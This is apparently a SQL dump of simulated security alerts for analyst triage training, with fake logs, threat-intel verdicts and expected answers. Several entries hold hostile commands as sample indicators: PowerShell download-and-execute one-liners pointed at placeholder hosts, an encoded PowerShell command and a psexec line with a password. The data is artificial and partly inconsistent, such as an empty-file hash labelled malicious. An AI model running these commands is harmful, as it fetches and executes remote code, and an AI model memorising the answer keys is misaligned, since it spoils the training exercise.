INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(597, 'Web Shell Deployment Detected', 'high', 'Web server logs', 'A web shell has been deployed on the server, allowing remote execution of commands by attackers. This indicates a severe security breach that needs immediate attention.', 'Execution', 'T1505.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"method\":\"POST\",\"url\":\"/uploads/webshell.php\",\"http_status\":200,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"uploaded_file\":{\"filename\":\"webshell.php\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"username\":\"admin_user\",\"session_id\":\"abcd1234efgh5678ijkl\"}', '2026-01-08 22:15:20', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal web server\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"webshell.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"Incident Response Team\",\"verdict\":\"malicious\",\"details\":\"File identified as web shell\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"MD5 hash associated with known web shells\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"suspicious\",\"details\":\"Admin account used for unauthorized access\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(598, 'Privilege Escalation via CVE-2021-34523', 'high', 'Event logs and security logs', 'An attacker exploited CVE-2021-34523 to escalate privileges on the server, potentially allowing persistent access. The attacker used a crafted exploit to gain elevated privileges, moving from a standard user account to an administrative account. This action solidifies their foothold within the network, facilitating further malicious activities.', 'Persistence', 'T1068: Exploitation for Privilege Escalation', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_id\":4624,\"event_source\":\"Microsoft-Windows-Security-Auditing\",\"event_type\":\"Logon\",\"user\":{\"target_user\":\"admin_user\",\"target_domain\":\"CORP\",\"target_logon_id\":\"0x3e7\"},\"logon_type\":2,\"logon_process\":\"User32 \",\"authentication_package\":\"Negotiate\",\"source_ip\":\"203.0.113.45\",\"source_port\":60000,\"target_ip\":\"10.0.0.25\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"vulnerability_exploited\":\"CVE-2021-34523\"}', '2026-01-08 22:15:20', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Database\",\"verdict\":\"suspicious\",\"details\":\"Hash observed in suspicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"clean\",\"details\":\"Legitimate administrative user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(599, 'Lateral Movement Detected in Network', 'high', 'Network traffic analysis', 'The attackers are moving laterally through the network, using compromised credentials and exploiting trust relationships to access additional systems.', 'Lateral Movement', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:23:45Z\",\"event_id\":\"LM-0456\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.50\",\"attacker_ip\":\"203.0.113.45\",\"compromised_user\":\"jdoe\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"file_name\":\"network.exe\",\"protocol\":\"HTTP\",\"action\":\"Successful Login\",\"description\":\"User jdoe from IP 192.168.1.25 accessed 192.168.1.50 using compromised credentials. Network traffic analysis reveals communication with external IP 203.0.113.45 and transfer of suspicious file network.exe with hash 5d41402abc4b2a76b9719d911017c592.\"}', '2026-01-08 22:15:20', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Common internal IP used by workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP of target workstation within internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT activity.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account used in unauthorized access attempt.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware used for lateral movement.\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"network.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File identified as malware used for spreading within the network.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(600, 'Data Exfiltration via Unusual Channels', 'high', 'Data loss prevention logs', 'Sensitive data was exfiltrated using encrypted channels, indicating a potential ransom demand or further exploitation. The data was sent to an external IP known for malicious activities. The file \'customer_data_backup.zip\' was detected leaving the network from an internal host using unusual ports.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:24:00Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.54\",\"protocol\":\"HTTPS\",\"port\":443,\"filename\":\"customer_data_backup.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"event\":\"data_exfiltration_attempt\",\"encryption\":\"TLS\",\"alert_id\":\"EXFIL-12345\"}', '2026-01-08 22:15:20', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host used for data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.54\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data theft.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"customer_data_backup.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Data Loss Prevention System\",\"verdict\":\"suspicious\",\"details\":\"Unusual file transfer detected.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(601, 'Brute Force Attack Detected on Corporate Server', 'high', 'Splunk', 'Multiple failed login attempts detected from a suspicious foreign IP address targeting the corporate server. This indicates a possible brute force attack.', 'Brute Force', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:30:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"45.67.89.123\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"corp-server-01\",\"failed_attempts\":34}', '2026-01-11 14:04:23', '2026-01-11 14:04:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.67.89.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from a known malicious IP strongly indicates a brute force attempt.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS'),
(602, 'Malware Detected via Suspicious Process Execution', 'critical', 'CrowdStrike', 'A known malware file was executed on a company workstation. The file hash matches a sample with widespread detection on VirusTotal.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.22\",\"username\":\"jdoe\",\"hostname\":\"workstation-55\",\"command_line\":\"C:\\\\malware\\\\bad.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-11 14:04:23', '2026-01-11 14:04:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected by 60 security vendors\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Execution of a file with a known malicious hash indicates a malware infection.\"}', 'Novice', 'EDR', 1, 1, 'OT_ICS'),
(603, 'Phishing Email Containing Malicious URL', 'high', 'Proofpoint', 'A phishing email containing a malicious URL was received. The URL is known for hosting malware.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:05:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.50\",\"username\":\"jsmith\",\"hostname\":\"mail-server-01\",\"email_sender\":\"spoofed@malicious.com\",\"url\":\"http://bad-url.com\"}', '2026-01-11 14:04:23', '2026-01-11 14:04:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"spoofed@malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Email address associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://bad-url.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts known malware\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The presence of a malicious URL in the email indicates a phishing attempt aimed at compromising user credentials.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT'),
(604, 'False Positive: Legitimate User Activity Mistaken for Malicious', 'low', 'Firewall', 'A legitimate user accessing an external service was flagged as suspicious due to an incorrect firewall rule.', 'Network Traffic', 'T1040', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"104.26.2.33\",\"username\":\"mgomez\",\"hostname\":\"laptop-34\",\"domain\":\"example.com\"}', '2026-01-11 14:04:23', '2026-01-11 14:04:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"104.26.2.33\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Reputable domain with no malicious history\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_traffic\",\"analysis_notes\":\"The connection was flagged due to an overly restrictive firewall rule, not because of any real threat.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS'),
(605, 'Suspicious PowerShell Execution Detected', 'high', 'CrowdStrike', 'A PowerShell command was executed on the host which is commonly associated with malicious activity. The command attempts to download a file from an external IP address.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-01\",\"command_line\":\"powershell.exe -nop -w hidden -c \\\"IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.45/malicious.ps1\')\\\"\",\"file_hash\":\"abcd1234efgh5678ijkl9012mnop3456\",\"domain\":\"malicious-site.com\"}', '2026-01-11 14:05:25', '2026-01-11 14:05:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 123 times for hosting malicious scripts\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abcd1234efgh5678ijkl9012mnop3456\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash detected in 5/5 antivirus engines\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -c \\\"IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.45/malicious.ps1\')\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command pattern associated with fileless malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command and the external IP address are both indicators of a malicious activity. Immediate action is required.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT'),
(606, 'Failed Login Attempts from Foreign IP', 'medium', 'Splunk', 'Multiple failed login attempts detected from an external IP address, indicating a possible brute force attack.', 'Brute Force', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T03:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.25\",\"dst_ip\":\"\",\"username\":\"admin\",\"hostname\":\"WEB-SERVER-01\",\"failed_attempts\":35}', '2026-01-11 14:05:25', '2026-01-11 14:05:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Common username targeted in brute force attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from a foreign IP address indicates a likely brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS'),
(607, 'Phishing Email with Malicious URL Detected', 'high', 'Proofpoint', 'A phishing email was received containing a malicious URL, attempting to trick the user into visiting a fake login page.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"10.0.0.15\",\"username\":\"asmith\",\"hostname\":\"MAIL01\",\"email_sender\":\"no-reply@fakesite.com\",\"url\":\"http://fakesite.com/login\"}', '2026-01-11 14:05:25', '2026-01-11 14:05:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fakesite.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL known for hosting phishing pages\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"no-reply@fakesite.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailRep\",\"verdict\":\"suspicious\",\"details\":\"Domain recently registered, associated with phishing\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a malicious URL leading to a phishing page. The sender\'s domain is not legitimate.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT'),
(608, 'Unusual Login Activity Detected from Known VPN Provider', 'low', 'Wazuh', 'A login attempt was detected from an IP address associated with a known VPN provider. The activity appears benign after further investigation.', 'Suspicious Login', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.0.2.10\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jsmith\",\"hostname\":\"LAPTOP-02\"}', '2026-01-11 14:05:25', '2026-01-11 14:05:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with benign VPN provider\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is associated with a legitimate VPN provider, and the login activity matches a known user\'s behavior.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT'),
(609, 'Suspicious PowerShell Execution Detected', 'high', 'CrowdStrike', 'A suspicious PowerShell script was executed on an internal machine. This script is known to download additional malware.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC01\",\"command_line\":\"powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.example.com\')\",\"file_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\"}', '2026-01-11 01:10:03', '2026-01-11 14:06:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address, not exposed to the internet.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.example.com\')\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Known malicious PowerShell command to download and execute scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in multiple malware campaigns.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command is a known indicator of compromise for malware download and execution.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(610, 'Phishing Email with Malicious Link Detected', 'critical', 'Proofpoint', 'A phishing email containing a link to a known malicious domain was received by a user.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:30:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"192.168.1.20\",\"username\":\"asmith\",\"hostname\":\"MAIL-SERVER\",\"email_sender\":\"phish@evil.com\",\"url\":\"http://phishing.example.com\",\"email_subject\":\"Urgent: Verify Your Account\"}', '2026-01-10 21:27:24', '2026-01-11 14:06:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for phishing activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"phish@evil.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Spamhaus\",\"verdict\":\"malicious\",\"details\":\"Email address linked to phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://phishing.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing schemes.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a link to a malicious site, confirmed by multiple OSINT sources.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT'),
(611, 'Internal Network Lateral Movement via PSExec', 'medium', 'Wazuh', 'A suspicious PSExec activity was detected moving laterally within the network from one internal host to another.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.25\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SERVER\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe\"}', '2026-01-11 02:27:11', '2026-01-11 14:06:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the initiating host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target host.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec usage can indicate lateral movement.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PSExec used to execute commands remotely, indicating possible lateral movement.\"}', 'Intermediate', 'NDR', 5, 1, 'OT_ICS'),
(612, 'Brute Force Login Attempt Detected', 'medium', 'Splunk', 'Multiple failed login attempts were detected from a foreign IP address, indicating a possible brute force attack.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.30\",\"username\":\"admin\",\"hostname\":\"INTERNAL-SERVER\",\"failed_attempts\":25}', '2026-01-09 19:58:44', '2026-01-11 14:06:08', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported in multiple brute force attempts but not confirmed malicious.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Common administrative account targeted by attackers.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP showed failed login attempts but without successful access. No further malicious activity detected.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(613, 'Suspicious PowerShell Execution Detected with Encoded Command', 'high', 'CrowdStrike', 'A PowerShell process was detected executing an encoded command, indicating possible obfuscation attempts to evade detection.', 'Malware', 'T1086', 1, 'New', NULL, '{\"timestamp\":\"2026-01-10T19:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-01\",\"request_body\":\"\",\"command_line\":\"powershell.exe -enc JAB3AGgAYQB0ACAAJwAnADsAIAAkAHUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwBlAHgAYQBtAHAAbABlAC4AYwBvAG0AJwA7ACAAIgAkAHIAZQBwACAAJwAnAA==\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-10 04:01:28', '2026-01-11 14:06:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell.exe -enc JAB3AGgAYQB0ACAAJwAnADsAIAAkAHUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwBlAHgAYQBtAHAAbABlAC4AYwBvAG0AJwA7ACAAIgAkAHIAZQBwACAAJwAnAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command used for obfuscation detected in multiple malware campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash seen in recent suspicious activity, but not confirmed malicious\"}}],\"expected_actions\":[\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is a common tactic for malware to evade detection. This activity requires further investigation and containment.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS'),
